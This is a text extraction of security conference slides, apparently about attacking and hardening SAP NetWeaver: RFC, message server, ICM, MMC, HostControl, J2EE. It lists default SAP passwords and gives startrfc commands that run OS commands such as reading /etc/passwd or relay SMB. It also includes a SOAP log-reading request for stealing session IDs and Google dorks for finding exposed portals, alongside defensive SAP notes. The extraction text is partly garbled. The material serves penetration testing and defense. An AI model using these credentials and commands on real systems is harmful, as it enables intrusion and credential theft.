  RFC’s	
  	
  
•  Check	
  If	
  funcAon	
  can	
  be	
  accessed	
  anonymously	
  
•  There	
  are	
  some	
  funcAons	
  that	
  can	
  be	
  executed	
  anonymously	
  
–  RFC_PING	
  –	
  just	
  check	
  connecAon	
  
–  RFC_SYSTEM_INFO	
  	
  
–  RFC_GET_LOCAL_DESTINATIONS	
  
–  RFC_GET_LOCAL_SERVERS	
  
–  SYSTEM_INVISIBLE_GUI	
  
	
  
	
  
	
  	
  
	
  
68	
  
69	
  
DEMO	
  10:	
  
ABAP	
  RFC	
  –	
  informa)on	
  disclose	
  issues	
  
Default	
  creden%als	
  
They	
  can	
  be	
  used	
  to	
  run	
  RFC	
  funcAons	
  remotely	
  
	
  	
  
70	
  
USER	
   PASSWORD	
   Client	
  
SAP*	
   06071992,	
  PASS	
   000,001,066,Custom	
  
DDIC	
   19920706	
   000,001,Custom	
  
TMSADM	
   PASSWORD,	
  $1Pawd2&	
   000	
  
SAPCPIC	
   ADMIN	
   000,001	
  
EARLYWATCH	
   SUPPORT	
   066	
  
71	
  
DEMO	
  11:	
  
ABAP	
  RFC	
  –	
  user	
  crea)on	
  
ABAP	
  RFC	
  a`acks	
  (SMBRELAY)	
  
•  EPS_DELETE_FILE	
  –	
  no	
  addiAonal	
  auth	
  checks	
  inside!	
  
•  EPS_CLOSE_FILE	
  
•  CLBA_CLASSIF_FILE_REMOTE_HOST	
  
•  CLBA_UPDATE_FILE_REMOTE_HOST	
  
•  EDI_DATA_INCOMMING	
  
•  RZL_READ_FILE	
  
•  50	
  more…..	
  
	
  
Example:	
  
>Startrfc.exe -3 –h 172.16.0.222 –s 01 –t
-F EDI_DATA_ICOMING –E PATHNAME=
172.16.0.101ERPScan -E PORT=SAPID3 –u
SAPCPIC –p admin
	
  
	
  	
  
72	
  
•  SXPG_CALL_SYSTEM	
  (any	
  command	
  using	
  vulnerability)	
  
Example:	
  
Startrfc.exe	
  -­‐3	
  -­‐h	
  172.16.0.222	
  -­‐s	
  	
  01	
  	
  
-­‐F	
  SXPG_COMMAND_EXECUTE	
  
-­‐E	
  COMMANDNAME=TYPE	
  
-­‐E	
  ADDITIONAL_PARAMETERS=	
  cat/etc/passwd	
  	
  
-­‐u	
  SAPCPIC	
  
-­‐p	
  admin	
  
73	
  
ABAP	
  RFC	
  a`acks	
  (Command	
  execu%on)	
  
74	
  
DEMO	
  12:	
  
ABAP	
  RFC	
  –	
  remote	
  command	
  execu)on	
  
Gateway	
  Defense	
  
•  Secure	
  GW/monitor	
  
•  Enable	
  Secinfo	
  and	
  Reginfo	
  ACL	
  (don’t	
  use	
  *)	
  
•  Patch	
  for	
  latest	
  RFC	
  security	
  bypasses	
  rfc/reg_no_conn	
  
•  Restrict	
  access	
  to	
  dangerous	
  RFC	
  funcAons	
  
•  Enable	
  GW/logging	
  
	
  
	
  
75	
  
76	
  
SAP	
  Message	
  Server	
  security	
  
SAP	
  NetWeaver	
  
	
  
77	
  
•  The	
  SAP	
  Message	
  server	
  provides	
  two	
  services.	
  	
  
–  manages	
  SAP	
  communicaAon	
  between	
  the	
  applicaAon	
  servers	
  of	
  one	
  
SAP	
  system.	
  	
  
–  provides	
  load-­‐balancing	
  informaAon	
  to	
  clients	
  like	
  the	
  SAP	
  GUI.	
  	
  
•  Before	
  7.0	
  listens	
  one	
  port	
  for	
  both	
  services	
  	
  
•  Since	
  7.0	
  default	
  installaAons	
  automaAcally	
  split	
  into	
  
–  	
  internal	
  port	
  (used	
  for	
  applicaAon	
  server	
  connecAons)	
  
–  	
  external	
  port	
  (used	
  for	
  user	
  connecAons).	
  
•  	
  This	
  is	
  defined	
  via	
  profile	
  parameters	
  	
  
–  rdisp/mshost,	
  -­‐	
  host	
  
–  rdisp/msserv,	
  -­‐	
  port	
  
–  rdisp/msserv_internal	
  must	
  be	
  !=0	
  
	
  
	
  
78	
  
SAP	
  Message	
  Server	
  -­‐	
  overview	
  
Why	
  should	
  we	
  make	
  2	
  ports	
  for	
  SAP	
  MS?	
  
•  APacker	
  can	
  register	
  fake	
  applicaAon	
  server	
  on	
  message	
  server	
  
•  By	
  default	
  it	
  is	
  possible	
  without	
  authenAcaAon	
  
•  He	
  can	
  make	
  MITM	
  and	
  sniff	
  client	
  connecAons	
  
	
  
	
  
79	
  
SAP	
  Message	
  Server	
  -­‐	
  a`acks	
  
SAP	
  Message	
  Server	
  -­‐	
  ACL	
  
•  Even	
  if	
  you	
  restrict	
  access	
  to	
  message	
  server	
  from	
  GUI	
  clients	
  	
  
•  ApplicaAon	
  servers	
  can	
  access	
  it	
  
•  Ms/acl_info	
  can	
  be	
  used	
  to	
  list	
  approver	
  	
  app	
  servers	
  
•  The	
  entries	
  must	
  have	
  the	
  following	
  syntax:	
  
HOST=[*| ip_adr | host_name | Subnet_mask | Domain ] [, ...]
Examples for valid entries are:
HOST = * (all hosts are allowed)
HOST=host1,host2 (Logons allowed from host1 and host2)
HOST=*.sap.com (all hosts in the sap.com domain can log on)
HOST=147.45.56.32 (hosts with this IP address can log on)
HOST=147.45.56.* (hosts with this subnet can log on)
	
  
	
  
80	
  
•  SAP	
  Message	
  server	
  Monitoring	
  	
  
•  Can	
  remotely	
  get	
  informaAon	
  about	
  message	
  server	
  	
  
–  check	
  and	
  change	
  all	
  the	
  important	
  sešngs	
  
–  create	
  and	
  view	
  traces	
  
–  read	
  staAsAcs	
  
•  Managed	
  by	
  ms/monitor	
  opAon	
  
•  	
  if	
  ms/monitor	
  =1	
  and	
  ms/admin_port	
  !=0	
  anybody	
  can	
  get	
  
remote	
  access	
  by	
  using	
  “msmon”	
  tool	
  
	
  
hPp://help.sap.com/saphelp_nw04/helpdata/EN/64/3e7›4a12e49b9856bb97970c6acc1/frameset.htm	
  
81	
  
Message	
  Server	
  monitoring	
  
82	
  
DEMO	
  15:	
  
Playing	
  with	
  MSMON	
  	
  
•  Disable	
  ms/monitor	
  
•  Enable	
  ms/acl_info	
  and	
  manage	
  ACL	
  
•  Enable	
  ms/admin_port	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
hPp://help.sap.com/saphelp_nw04/helpdata/en/40/c235c15ab7468bb31599cc759179ef/frameset.htm	
  
83	
  
Message	
  server	
  -­‐	
  defense	
  
84	
  
SAP	
  Message	
  Server	
  HTTP	
  
•  Message	
  Server	
  HTTP	
  
•  Just	
  simple	
  HTTP	
  service	
  with	
  informaAon	
  
•  There	
  is	
  no	
  need	
  to	
  have	
  this	
  service	
  	
  
•  InformaAon	
  disclose	
  vulnerability	
  exist:	
  
–  Read	
  details	
  about	
  connected	
  instances	
  
–  Read	
  	
  SAP	
  parameters	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
85	
  
Message	
  server	
  HTTP	
  -­‐	
  info	
  
86	
  
DEMO	
  16:	
  
Message	
  Server	
  HTTP	
  –	
  parameter	
  disclosure	
  
87	
  
SAP	
  NetWeaver	
  ICM	
  Security	
  
SAP	
  NetWeaver	
  
	
  
88	
  
 
•  History	
  of	
  SAP	
  web	
  applicaAons	
  and	
  	
  ITS	
  
•  ITS	
  vulnerabiliAes	
  
•  ICM	
  architecture	
  
•  ICM	
  vulnerabiliAes	
  
•  ICM	
  Defense	
  
	
  
	
  
89	
  
Agenda	
  
More	
  than	
  1500	
  services	
  which	
  can	
  execute	
  criAcal	
  funcAonality	
  
•  Every	
  registered	
  user	
  can	
  get	
  access	
  to	
  them	
  by	
  default	
  
–  Most	
  services	
  require	
  authenAcaAon	
  
–  You	
  can	
  use	
  any	
  of	
  defaults	
  to	
  aPack	
  
–  By	
  default	
  all	
  ICF	
  services	
  are	
  not	
  assigned	
  to	
  any	
  AuthorizaAon	
  value	
  
–  ANY	
  user	
  can	
  execute	
  any	
  ICF	
  service	
  
	
  (If	
  there	
  is	
  no	
  addiAonal	
  auth	
  checks	
  in	
  code	
  )	
  
–  There	
  are	
  many	
  criAcal	
  services	
  which	
  can	
  be	
  used	
  by	
  unprivileged	
  user	
  
to	
  escalate	
  privileges	
  
•  Also	
  there	
  are	
  about	
  40	
  anonymous	
  services	
  (TransacAon	
  SICF)	
  
	
  
	
   90	
  
ICM	
  (Cri%cal	
  services)	
  
Some	
  examples	
  of	
  RFC	
  funcAons:	
  
•  /sap/public/info	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  anonymous	
  info	
  about	
  system	
  
•  /sap/public/icf_info/icr_groups	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  installed	
  applicaAons	
  
•  /sap/bc/soap/rfc	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  remote	
  RRF	
  calls	
  
•  /sap/bc/srt/xip/sap	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  criAcal	
  XI	
  funcAons	
  
•  /sap/bw/Bex 	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  reading	
  infoobjects	
  remotely	
  
•  /sap/bc/bsp/sap/htmlb_samples	
  	
  	
  	
  	
  test	
  service	
  with	
  vulnerabiliAes	
  
•  /sap/bc/gui/sap/its/webgui	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  webgui	
  access	
  
	
  
	
  
	
  
91	
  
ICM	
  (List	
  of	
  cri%cal	
  services)	
  
•  Service	
  /sap/public/info	
  	
  	
  -­‐	
  anonymous	
  info	
  about	
  system	
  
•  Can	
  be	
  called	
  anonymously	
  without	
  having	
  user	
  rights	
  
	
  
	
  
	
  
	
  
	
  
92	
  
ICM	
  (Cri%cal	
  services)	
  
•  Service	
  /sap/public/icf_info/icr_urlprefix	
  	
  	
  installed	
  
applicaAons	
  
	
  
	
  
	
  
	
  
93	
  
ICM	
  (Cri%cal	
  services)	
  
94	
  
DEMO	
  17:	
  
ITS	
  Infdisclose	
  by	
  ERPScan	
  Pentes)ng	
  Tool	
  
They	
  can	
  be	
  used	
  to	
  run	
  RFC	
  funcAons	
  remotely	
  
	
  	
  
95	
  
USER	
   PASSWORD	
   Client	
  
SAP*	
   06071992,	
  PASS	
   000,001,066,Custom	
  
DDIC	
   19920706	
   000,001,Custom	
  
TMSADM	
   PASSWORD,	
  $1Pawd2&	
   000	
  
SAPCPIC	
   ADMIN	
   000,001	
  
EARLYWATCH	
   SUPPORT	
   066	
  
Default	
  creden%als	
  
•  CriAcal	
  service	
  sap/bc/soap/rfc	
  	
  
•  RFC	
  funcAons	
  are	
  mapped	
  to	
  RFC	
  authorizaAon	
  groups	
  
•  Security	
  of	
  standard	
  SOAP	
  RFC	
  calls	
  
–  User	
  must	
  have	
  S_RFC	
  authorizaAon	
  to	
  group	
  of	
  RFC	
  funcAons	
  to	
  
execute	
  any	
  call	
  in	
  this	
  group	
  
–  User	
  must	
  have	
  authorizaAons	
  which	
  are	
  defined	
  inside	
  RFC	
  funcAon	
  to	
  
execute	
  this	
  funcAon	
  
–  Many	
  RFC	
  funcAons	
  don’t	
  have	
  any	
  special	
  authorizaAon	
  checks	
  so	
  every	
  
user	
  can	
  call	
  them	
  by	
  SOAP	
  RFC	
  
	
  	
  
	
  
	
   96	
  
ICM	
  (Cri%cal	
  services)	
  
97	
  
DEMO	
  18:	
  
SOAP	
  RFC’s	
  by	
  ERPScan	
  Pentes)ng	
  Tool	
  
ICM	
  Service	
  Defense:	
  other	
  
•  Disable	
  or	
  configure	
  customized	
  HTTP	
  server	
  header	
  for	
  ICM	
  
(sap	
  note	
  1329326)	
  
•  Disable	
  or	
  configure	
  disclosure	
  of	
  hidden	
  version	
  
	
  (sap	
  note	
  747818)	
  
•  Disable	
  services	
  that	
  are	
  not	
  necessary	
  (note	
  1498575)	
  	
  
•  Configure	
  ICF	
  authorizaAon	
  	
  for	
  enabled	
  services	
  
•  Change	
  default	
  passwords	
  
	
  
	
  
	
   98	
  
99	
  
SAP	
  Management	
  Console	
  security	
  
SAP	
  NetWeaver	
  
	
  
100	
  
MMC	
  
Service	
  
SAPHostcontrol	
  
•  MMC	
  is	
  installed	
  by	
  default	
  on	
  port	
  5<ID>13	
  
•  Used	
  for	
  remote	
  management	
  of	
  SAP	
  servers	
  
•  Command	
  executed	
  via	
  SOAP	
  interface	
  
•  By	
  default	
  SSL	
  is	
  not	
  implemented	
  
•  AdministraAon	
  password	
  transmiPed	
  using	
  basic	
  auth	
  (base64)	
  
•  By	
  sniffing	
  this	
  password	
  we	
  can	
  get	
  full	
  control	
  over	
  the	
  server	
  
	
  
	
  
101	
  
SAP	
  MMC	
  -­‐	
  overview	
  
•  Many	
  aPacks	
  can	
  be	
  implemented	
  without	
  authenAcaAon	
  
•  APacks	
  can	
  be	
  realized	
  by	
  sending	
  SOAP	
  requests	
  
•  Mostly	
  it	
  is	
  informaAon	
  disclose	
  and	
  denial	
  of	
  service	
  
•  Also	
  OS	
  command	
  execuAon	
  	
  	
  
•  All	
  MMC	
  aPacks	
  are	
  implemented	
  in	
  ERPScan	
  PentesAng	
  Tool	
  
	
  
	
  
102	
  
SAP	
  MMC	
  	
  a`acks	
  
ERPScan	
  PentesAng	
  Tool	
  modules	
  
•  GET_VERSION_gSOAP.pl	
  
–  Obtaining	
  version	
  of	
  SAP	
  NetWeaver	
  
•  GET_ENV_gSOAP.pl	
  
–  Obtaining	
  list	
  of	
  SAP	
  parameters	
  
•  LIST_LOGS_gSOAP.pl	
  
–  Show	
  the	
  list	
  of	
  log	
  files	
  that	
  can	
  be	
  obtained	
  
•  LIST_TRACE_gSOAP.pl	
  
103	
  
SAP	
  MMC	
  a`acks	
  	
  
SAP	
  MMC	
  a`acks	
  	
  
–  Show	
  the	
  list	
  of	
  Trace	
  files	
  that	
  can	
  be	
  obtained	
  remotely	
  
•  GET_LOGS_gSOAP.pl	
  
–  Sow	
  log	
  file	
  details	
  
•  GET_TRACE_gSOAP.pl	
  
–  Show	
  trace	
  file	
  details	
  
	
  
	
  
104	
  
Advanced	
  MMC	
  A`acks	
  
•  SAP	
  MMC	
  provides	
  a	
  common	
  framework	
  for	
  centralized	
  
system	
  management	
  
•  Allowing	
  to	
  see	
  the	
  trace	
  and	
  log	
  messages	
  
•  File	
  userinterface.log	
  can	
  store	
  JSESSIONID	
  is	
  trace	
  is	
  ON	
  
•  Using	
  JSESSIONID	
  from	
  logs,	
  aPacker	
  can	
  log	
  into	
  SAP	
  Portal	
  	
  
105	
  
Advanced	
  MMC	
  A`acks	
  
<?xml version="1.0"?>!
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/
envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema">!
<SOAP-ENV:Header>!
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/
features/session/">!
<enableSession>true</enableSession>!
</sapsess:Session>!
</SOAP-ENV:Header>!
<SOAP-ENV:Body>!
<ns1:ReadLogFile xmlns:ns1="urn:SAPControl">!
<filename>j2ee/cluster/server0/log/system/userinterface.log</
filename>!
<filter/>!
<language/>!
<maxentries>%COUNT%</maxentries>!
<statecookie>EOF</statecookie>!
</ns1:ReadLogFile>!
</SOAP-ENV:Body>!
</SOAP-ENV:Envelope>!
106	
  
107	
  
DEMO	
  19:	
  
SAP	
  MMC	
  adacks	
  by	
  ERPScan	
  Pentes)ng	
  Tool	
  
SAP	
  MMC-­‐	
  defense	
  
•  Install	
  Sapnote	
  927637	
  
•  Install	
  Sapnote	
  1439348	
  –	
  informaAon	
  disclosure	
  in	
  MMC	
  
•  Install	
  Sapnote	
  1469804	
  -­‐	
  PotenAal	
  DOS	
  in	
  sapstartsrv	
  
•  Don’t	
  use	
  TRACE_LEVEL	
  =	
  3	
  in	
  producAon	
  systems	
  
•  Delete	
  traces	
  
•  Disable	
  methods	
  service/protectedwebmethods	
  =	
  SDEFAULT	
  
•  Disable	
  access	
  from	
  untusted	
  IP’s	
  
–  service/h`p/acl_file	
  	
  
–  service/h`ps/acl_file
hPp://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm	
  	
  
	
   108	
  
109	
  
SAP	
  HostControl	
  security	
  
SAP	
  NetWeaver	
  
	
  
110	
  
MMC	
  
Service	
  
SAPHostcontrol	
  
SAPHostControl	
  
•  Service	
  listens	
  on	
  port	
  1128/tcp.	
  
•  Very	
  similar	
  to	
  MMC	
  
•  Many	
  aPacks	
  can	
  be	
  implemented	
  without	
  authenAcaAon	
  
•  APacks	
  can	
  be	
  realized	
  by	
  sending	
  SOAP	
  requests	
  
•  Vulnerability	
  	
  in	
  the	
  GetDataBaseStatus	
  functon	
  
•  Parameters	
  are	
  passed	
  to	
  dbmcli	
  executable	
  
•  SAP	
  MaxDB	
  	
  only	
  
	
  
	
  
	
   111	
  
112	
  
DEMO	
  21:	
  
SAP	
  HostControl	
  command	
  injec)on	
  by	
  
ERPScan	
  Pentes)ng	
  Tool	
  
Defense	
  
•  Install	
  Sapnote	
  1341333	
  	
  -­‐	
  command	
  injecAon	
  
•  Disable	
  access	
  from	
  untusted	
  IP’s	
  
	
  
	
  
	
  
	
  
	
  
	
  
113	
  
114	
  
SAP	
  NetWeaver	
  J2EE	
  security	
  
SAP	
  NetWeaver	
  
	
  
115	
  
J2EE	
  Engine	
  
•  AutomaAon	
   of	
   business	
   processes	
   like	
   ERP,	
   PLM,	
   CRM,	
   SRM	
  
based	
  ABAP.	
  
•  IntegraAon,	
   collaboraAon	
   and	
   management	
   based	
   on	
   J2ee	
  
engine:	
  
–  SAP	
  Portal	
  	
  
–  SAP	
  PI	
  
–  SAP	
  XI	
  
–  SAP	
  Mobile	
  Infrastructure	
  
–  SAP	
  Solu%on	
  Manager	
  
	
  
	
  
	
   116	
  
Many	
  SAP	
  systems	
  don’t	
  use	
  ABAP	
  stack	
  
J2EE	
  Plamorm	
  Architecture	
  	
  
	
  
	
  
	
  
	
  
	
  
	
  
117	
  
J2EE	
  Plamorm	
  services	
  
118	
  
Service	
  Name	
   Port	
  Number	
   Default	
  Value	
   Range	
  (min-­‐max)	
  
	
  
Enqueue	
  server	
   32NN	
   3201	
   3200-­‐3299	
  
HTTP	
   5NN00	
   50000	
   50000-­‐59900	
  
HTTP	
  over	
  SSL	
   5NN01	
   50001	
   50001-­‐59901	
  
IIOP	
   5NN07	
   50007	
   50007-­‐59907	
  
IIOP	
  IniAal	
  Context	
   5NN02	
   50002	
   50002-­‐59902	
  
IIOP	
  over	
  SSL	
   5NN03	
   50003	
   50003-­‐59903	
  
P4	
   5NN04	
   50004	
   50004-­‐59904	
  
P4	
  over	
  HTTP	
   5NN05	
   50005	
   50005-­‐59905	
  
P4	
  over	
  SSL	
   5NN06	
   50006	
   50006-­‐59906	
  
Telnet	
   5NN08	
   50008	
   50008-­‐59908	
  
LogViewer	
  control	
   5NN09	
   50009	
   50009-­‐59909	
  
JMS	
   5NN10	
   50010	
   50010-­‐59910	
  
SAP	
  J2EE	
  Services	
  
•  General	
  services	
  
–  SAP	
  Visual	
  Admin	
  (P4)	
  
–  SAP	
  NetWeaver	
  HTTP	
  (webserver)	
  
•  AddiAonal	
  services	
  
–  SAP	
  Portal	
  
–  SAP	
  SDM	
  
–  SAP	
  SDM	
  Admin	
  
–  SAP	
  LogViewer	
  
–  SAP	
  J2EE	
  Telnet	
  
	
  
	
  
	
  
119	
  
SAP	
  Security	
  storage	
  
120	
  
•  The	
  SAP	
  J2EE	
  Engine	
  stores	
  the	
  database	
  user	
  SAP<SID>DB	
  	
  and	
  
all	
  configuraAons	
  in	
  	
  specific	
  file	
  
•  The	
  J2EE	
  Engine	
  uses	
  the	
  SAP	
  Java	
  Cryptography	
  Toolkit	
  to	
  
encrypt	
  the	
  contents	
  of	
  the	
  secure	
  store	
  with	
  the	
  
tripleDES	
  algorithm.	
  
•  usrsap<SID>SYSglobalsecuritydataSecStore.proper)es	
  	
  
config.proper%es	
  
121	
  
rdbms.maximum_connections=5
system.name=TTT
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/
instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
secstore.proper%es	
  
122	
  
$internal/version=Ni4zFF4wMSeaseforCCMxegAfx
admin/host/TTT=7KJuOPPs/+u
+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS
admin/password/TTT=7KJuOPPs/+uv
+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh
jdbc/pool/TTT=7KJuOPPs/
+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH
admin/port/TTT=7KJuOPPs/+u
+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ
$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt
$internal/mode=encrypted
admin/user/TTT=7KJuOPPs/+u
+14j6s14sTxXU3ONl3rL6N7yssV75eC
profit	
  
123	
  
•  We	
  have	
  an	
  encrypted	
  password	
  
•  We	
  have	
  a	
  key	
  to	
  decrypt	
  it	
  
•  We	
  got	
  the	
  J2EE_ADMIN	
  and	
  JDBC	
  password!	
  
Preven%on	
  
124	
  
• 	
  Install	
  SAP	
  note	
  1619539	
  
• 	
  Restrict	
  read	
  access	
  to	
  files	
  SecStore.proper)es	
  and	
  
SecStore.key	
  
125	
  
SAP	
  Visual	
  Admin	
  security	
  
SAP	
  VisualAdmin	
  
126	
  
•  SAP	
  Visual	
  Admin	
  –	
  remote	
  tool	
  for	
  controlling	
  J2EE	
  Engine	
  
•  Use	
  p4	
  protocol	
  –	
  SAP’s	
  proprietary	
  
•  By	
  default	
  all	
  data	
  transmiPed	
  in	
  cleartext	
  
•  P4	
  can	
  be	
  configured	
  to	
  use	
  SSL	
  to	
  prevent	
  MITM	
  
•  Passwords	
  transmiPed	
  by	
  some	
  sort	
  of	
  encrypAon	
  	
  
•  In	
  reality	
  it	
  is	
  some	
  sort	
  of	
  Base64	
  transform	
  with	
  known	
  key	
  
	
  
	
  
	
  	
  
SAP	
  VisualAdmin	
  data	
  
127	
  
Insecure	
  password	
  encryp%on	
  in	
  P4	
  
128	
  
/* 87 */ char mask = 43690;
/* 88 */ char check = 21845;
/* 89 */ char[] result = new
char[data.length + 1];
/* */
/* 91 */ for (int i = 0; i < data.length; +
+i) {
/* 92 */ mask = (char)(mask ^ data[i]);
/* 93 */ result[i] = mask;
/* */ }
/* 95 */ result[data.length] = (char)(mask
^ check);
/* */
/* 97 */ return result;
Defense	
  
129	
  
•  	
  Use	
  SSL	
  for	
  securing	
  all	
  data	
  transmišng	
  between	
  server-­‐
server	
  and	
  server-­‐client	
  connecAons	
  
hPp://help.sap.com/saphelp_nwpi71/helpdata/de/14/
ef2940cbf2195de10000000a1550b0/content.htm	
  
130	
  
SAP	
  NetWeaver	
  HTTP	
  security	
  
SAP	
  Google	
  dorks	
  
131	
  
SAP	
  HTTP	
  Services	
  can	
  be	
  easily	
  found	
  in	
  internet:	
  
	
  	
  
•  inurl:/irj/portal
•  inurl:/IciEventService sap
•  inurl:/IciEventService/IciEventConf
•  inurl:/wsnavigator/jsps/test.jsp
•  inurl:/irj/go/km/docs/
Informa%on	
  disclose	
  
132	
  
•  Kernel	
  or	
  applicaAon	
  release	
  and	
  SP	
  version.	
  	
  
	
  	
  ERPSCAN-­‐11-­‐023,ERPSCAN-­‐11-­‐027,	
  DSECRG-­‐00208	
  
	
  
•  ApplicaAon	
  logs	
  and	
  traces	
  	
  
	
  	
  DSECRG-­‐00191,DSECRG-­‐00232	
  
	
  
•  Username	
  	
  
	
  	
  ERPSCAN-­‐00231	
  
	
  
•  Internal	
  port	
  scanning,	
  Internal	
  User	
  bruteforce	
  	
  
	
  	
  ERPSCAN-­‐11-­‐032,DSECRG-­‐00175	
  
	
  
Informa%on	
  disclose	
  
133	
  
Informa%on	
  disclose	
  
134	
  
User	
  disclose	
  ERPSCAN-­‐00231	
  
135	
  
	
  	
  	
  	
  	
  	
  
	
  
Internal	
  Port	
  scan	
  ERPSCAN-­‐11-­‐032	
  
Host	
  is	
  not	
  alive	
  
136	
  
Port	
  closed	
  
HTTP	
  port	
  
SAP	
  port	
  
Preven%on	
  
137	
  
• 	
  	
  	
  Install	
  SAP	
  notes	
  1548548,1545883,1503856,948851,	
  1545883	
  
• 	
  	
  	
  Update	
  the	
  latest	
  SAP	
  notes	
  every	
  month	
  
• 	
  	
  	
  Disable	
  unnecessary	
  applicaAons	
  
Authen%ca%on	
  
138	
  
•  Declara%ve	
  authen%ca%on:	
  	
  
-  The	
  Web	
  container	
  (J2EE	
  Engine)	
  handles	
  authenAcaAon	
  
-  Example:	
  	
  J2EE	
  Web	
  applicaAons	
  	
  
•  Programma%c	
  authen%ca%on.	
  	
  
-  Components	
  running	
  on	
  the	
  J2EE	
  Engine	
  authenAcate	
  directly	
  against	
  
the	
  User	
  Management	
  Engine	
  (UME)	
  using	
  the	
  UME	
  API.	
  	
  
-  Example:	
  Web	
  Dynpro,	
  Portal	
  iViews	
  	
  
	
  
	
  
Declara%ve	
  authen%ca%on	
  
139	
  
WEB.XML	
  file	
  is	
  stored	
  in	
  WEB-­‐INF	
  directory	
  of	
  applicaAon	
  root.	
  
	
  
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-
resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>DELETE</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Invoker	
  servlet	
  
140	
  
•  FuncAonality	
  for	
  rapid	
  calling	
  servlets	
  by	
  their	
  class	
  name	
  	
  
•  Possible	
  to	
  call	
  any	
  servlet	
  from	
  applicaAon	
  even	
  if	
  it	
  is	
  not	
  
declared	
  in	
  	
  WEB.XML	
  	
  
•  Call	
  it	
  directly	
  by	
  using	
  /servlet/	
  directory	
  and	
  name	
  of	
  the	
  class	
  
•  Like	
  this	
  /servlet/com.sap.admin.CriAcal.AcAon	
  
Invoker	
  servlet	
  auth	
  bypass	
  
141	
  
<servlet>
<servlet-name>CriticalAction</servlet-name>
<servlet-class>com.sap.admin.Critical.Action</servlet-
class>
</servlet>
<servlet-mapping>
<servlet-name>CriticalAction</</servlet-name>
<url-pattern>/admin/critical</url-pattern>
</servlet-mapping
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Preven%on	
  
142	
  
	
  
• 	
  	
  	
  	
  	
  	
  Install	
  latest	
  updates	
  
• 	
  	
  	
  	
  	
  	
  Disable	
  feature	
  by	
  changing	
  the	
  value	
  of	
  the	
  “EnableInvokerServletGlobally”	
  
property	
  of	
  the	
  servlet_jsp	
  service	
  on	
  the	
  server	
  nodes	
  to	
  “false”.	
  	
  
• 	
  	
  	
  	
  	
  To	
  enable	
  invoker	
  servlet	
  for	
  some	
  applicaAons	
  check	
  SAP	
  note	
  1445998	
  
• 	
  	
  	
  	
  	
  For	
  SAP	
  NetWeaver	
  Portal,	
  see	
  SAP	
  Note	
  1467771	
  
	
  
143	
  
DEMO	
  24:	
  
SAP	
  NetWeaver	
  J2EE	
  invoker	
  servlet	
  
unauthorized	
  file	
  read	
  
144	
  
DEMO	
  25:	
  
SAP	
  NetWeaver	
  J2EE	
  invoker	
  servlet	
  file	
  read	
  
+	
  secstore	
  decrypt	
  
Verb	
  Tampering	
  
145	
  
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-
resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
What	
  if	
  we	
  will	
  use	
  HEAD	
  instead	
  of	
  GET	
  ?	
  
Verb	
  Tampering	
  example:	
  Auth	
  bypass	
  
•  AdministraAve	
  	
  interface	
  for	
  managing	
  J2EE	
  engine	
  (CTC)	
  
•  Can	
  be	
  accessed	
  remotely	
  	
  
•  Can	
  run	
  user	
  management	
  acAons	
  	
  
-  Create	
  new	
  users	
  
-  Assign	
  them	
  to	
  any	
  Roles	
  
-  Execute	
  OS	
  command	
  on	
  the	
  server	
  side	
  
-  Create	
  RFC	
  DesAnaAons	
  
-  Read	
  RFC	
  DesAnaAons	
  info	
  
	
  
146	
  
It	
  means	
  that	
  a`acker	
  get	
  full	
  access	
  to	
  SAP	
  and	
  OS	
  
147	
  
DEMO	
  26:	
  
SAP	
  NetWeaver	
  J2EE	
